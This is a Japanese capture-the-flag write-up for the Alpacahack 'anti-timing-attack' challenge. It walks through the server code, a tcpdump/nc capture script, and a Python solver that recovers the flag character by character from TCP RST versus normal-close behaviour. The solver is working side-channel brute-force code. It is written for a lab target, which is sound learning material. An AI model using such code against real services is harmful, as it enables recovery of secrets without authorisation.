基本情報リンクをコピーしました
- CTF名:Alpacahack B-SIDE
- 開催日時:2026/04/13-15
- カテゴリ:Misc
- 問題URL:https://alpacahack.com/daily-bside/challenges/anti-timing-attack
問題文リンクをコピーしました
応答時間を固定にしました!
NOTE: リモート環境では、配布ファイルのうち flag.txt の内容のみを変更したうえで
docker compose upにより起動しています。ただし、一部の環境では Docker 等の実装差異により挙動が異なる可能性があるので注意してください。
作業ログリンクをコピーしました
ファイルをダウンロードして展開。
anti-timing-attack/
├── Dockerfile
├── chall.py
└── compose.yaml
1 directory, 3 filesシンプルで嬉しい。
FROM python:3.14-slim
WORKDIR /app
COPY chall.py chall.py
CMD ["python3", "./chall.py"]
services:
app:
build: .
environment:
- FLAG=Alpaca{REDACTED}
ports:
- ${PORT:-9999}:9999
restart: unless-stopped
Docker周りは特にひねったことしてなさそう。
#!/usr/bin/env python3
import multiprocessing as mp
import os
import select
import socket
import time
HOST, PORT = "0.0.0.0", 9999
FLAG = os.getenv("FLAG", "Alpaca{dummy}").encode()
BUDGET = 0.5
BACKLOG = 16
def wait_line(conn, end):
while time.monotonic() < end:
t = max(0.0, min(end - time.monotonic(), 0.01))
if select.select([conn], [], [], t)[0] and b"\n" in conn.recv(len(FLAG) + 1, socket.MSG_PEEK):
return True
return False
def handle(conn):
end = time.monotonic() + BUDGET
ok = False
try:
conn.sendall(b"FLAG: ")
if wait_line(conn, end):
ok = True
for c in FLAG:
x = conn.recv(1)
if not x or x[0] != c:
ok = False
break
ok = ok and conn.recv(1) == b"\n"
except OSError:
pass
while time.monotonic() < end:
time.sleep(0.001)
try:
if ok:
conn.sendall(b"correct!\n")
except OSError:
pass
try:
conn.close()
except OSError:
pass
def main():
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((HOST, PORT))
s.listen(BACKLOG)
print(f"listening on {HOST}:{PORT}", flush=True)
while True:
conn, _ = s.accept()
mp.Process(target=handle, args=(conn,)).start()
conn.close()
if __name__ == "__main__":
main()わお。なんか難しそう。
関数毎に噛み砕いて理解していこう。
main()
プログラムが起動されたときにまず実行される処理with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s
→sという変数でIPv4(AF_INET)のTCP(SOCK_STREAM)サーバ用ソケットを作る
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
→サーバ再起動時に同じポートを再利用しやすくする
s.bind((HOST, PORT))
→ソケットを0.0.0.0:9999にバインドする
s.listen(BACKLOG)
→サーバとして接続待ちの状態にする(BACKLOG=16の未処理の接続要求をキューにためるようにする)
conn, _ = s.accept()
→クライアントが上述のソケットに接続してくるのを待ち、
接続が来たらその接続専用のソケットconnを受け取る
mp.Process(target=handle, args=(conn,)).start()
→接続1本分の処理を別プロセスでhandle(conn)に引き継がせる
conn.close()
→handle()に任せたため、親プロセス側ではその接続ソケットを閉じ、
新しい接続をwhileループで受け取れるようにする。
要は、サーバを起動し、接続が来るたびにhandle()を別プロセスで呼ぶ処理。handle(conn)
main()で受け取った接続が渡される、処理の中核end = time.monotonic() + BUDGET
→今からBUDGET(=0.5)秒後をこの接続の制限時間と定める
if wait_line(conn, end):内の処理
→制限時間以内にフラグ+改行の形式で受け取った受信バッファを取得し、
先頭から1文字ずつ照合し、合っていればokをTrueに、そうでない場合はFalseになるようにする。
while time.monotonic() < end: time.sleep(0.001)
→endの時間まで待機する
それ以降の挙動も合わせると、文字照合に成功しても失敗しても同じ時刻に処理を終え、正しければ"correct!\n"を返し、そうでない場合は何も返さず接続を閉じる処理。wait_line(conn, end)
handle()で呼び出されるwhile time.monotonic() < end:
→制限時間まで以下の処理を繰り返す
t = max(0.0, min(end - time.monotonic(), 0.01))
→tは次の行で使う待ち時間。基本的に0.01秒だが、
待ち時間の経過後endを超えないよう最後だけ工夫してある。
select.select([conn], [], [], t)[0] and b"\n" in conn.recv(len(FLAG) + 1, socket.MSG_PEEK)
→ソケットconnに読み取れるデータが来ているかをt秒待ち、
データが来ていれば受信バッファからデータを取り出さず(socket.MSG_PEEK)にFLAG文字列+改行(\n)が含まれているかどうかをチェックする
まとめると、締切時間までにフラグ文字列+改行が届いたかどうかを確認する処理。
それじゃあどうやってフラグを奪取しようか。
文字照合における正解・不正解時の処理スピードの差と総当たりを組み合わせたタイミング攻撃はあからさまに対策されている。
何らかのエラーを意図的に起こせたとしても、エラーメッセージとかは返ってこず、返ってくるのは0.5秒後のcorrect!か沈黙のみ…
わかんねえや。
とりあえず色々な入力を試してパケットキャプチャして、タイミングや挙動が変わるか調べてみよう。
ということでテスト用のシェルスクリプトを生成AIの手を借りて作ってみた。
ncでアクセスしてから入力値を送信するまでの猶予が0.5秒しか無いから手動で試せないんだよね。
#!/bin/bash
HOST="127.0.0.1"
PORT="9999"
IFACE="any"
while getopts "t:p:i:c:" opt; do
case $opt in
t) HOST="$OPTARG" ;;
p) PORT="$OPTARG" ;;
i) IFACE="$OPTARG" ;;
c) CHARS="$OPTARG" ;;
esac
done
mkdir -p pcaps
# カンマ区切りの文字列を配列に分割
IFS=',' read -r -a targets <<< "$CHARS"
for target in "${targets[@]}"; do
# ファイル名 (時刻_テスト文字列.pcap)
FILE="pcaps/$(date +%H%M%S)_${target}.pcap"
sudo tcpdump -i $IFACE host $HOST and tcp port $PORT -w "$FILE" 2>/dev/null &
PID=$!
sleep 0.5
(echo "$target"; sleep 1) | nc $HOST $PORT >/dev/null 2>&1
sleep 0.5
sudo kill $PID 2>/dev/null
wait $PID 2>/dev/null
doneこのスクリプトで異なる入力値を試したときのキャプチャファイルを作成して、wiresharkで比較して手がかりを探そう。
とりあえず必ずフラグに含まれているAlpaca{とそれに1文字加えたやつ、入力しないものと適当な文字列の4種類で試す。
$sudo ./capture.sh -t ***.***.***.*** -p ***** -i any -c "Alpaca{,Alpaca{a,,kirehash"
・Alpaca{
・Alpaca{a
・(空白)
・kirehash(適当な文字列)
おお!?なんか色が違うぞ(小並感)
FLAGとの照合でbreakを呼び出される文字列のみ異常終了(RST, ACK)になっている!!
これを手がかりにしてフラグを先頭から1文字ずつ推測できそう。
というわけでpythonでソルバを作成。Alpaca{a、Alpaca{b、Alpaca{c...と試していき、接続が切れなかった試行の文字(Xとする)をもとに、Alpaca{Xa、Alpaca{Xb、Alpaca{Xc...と試していくことを繰り返す。
import socket
import string
import sys
import time
from concurrent.futures import ThreadPoolExecutor, as_completed
if len(sys.argv) != 3:
print(f"Args error")
sys.exit(1)
HOST = sys.argv[1]
PORT = int(sys.argv[2])
MAX_WORKERS = 15 # 1つの試行で約0.5秒かかるため、複数同時に試して高速化する
# すでに確定済み文字列+次に試す文字+改行を送信して、接続が切れるかどうかで判定する
def check_char(char, current_flag):
guess = current_flag + char + "\n"
for _ in range(3):
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
try:
s.connect((HOST, PORT))
s.recv(6)
s.sendall(guess.encode())
while True:
data = s.recv(1024)
if not data:
return char
except ConnectionResetError:
return None
except Exception:
time.sleep(0.1)
continue
return None
def main():
known_flag = "Alpaca{"
charset = string.ascii_lowercase + string.digits + "_}"
while not known_flag.endswith("}"):
found_char = None
with ThreadPoolExecutor(max_workers=MAX_WORKERS) as executor:
futures = {executor.submit(check_char, c, known_flag): c for c in charset}
for future in as_completed(futures):
result = future.result()
if result:
found_char = result
break
if found_char:
known_flag += found_char
print(known_flag, flush=True)
else:
break
if __name__ == "__main__":
main()let's実行
Alpaca{X
Alpaca{XX
Alpaca{XXX
Alpaca{XXXX
Alpaca{XXXXX
Alpaca{XXXXXX
Alpaca{XXXXXXX
Alpaca{XXXXXXX}できたぁ!!
最終的な解法リンクをコピーしました
照合に失敗してbreak文が呼ばれると接続が強制中断になることを頼りに先頭から1文字づつ総当たりでテストするプログラムを作成して実行する。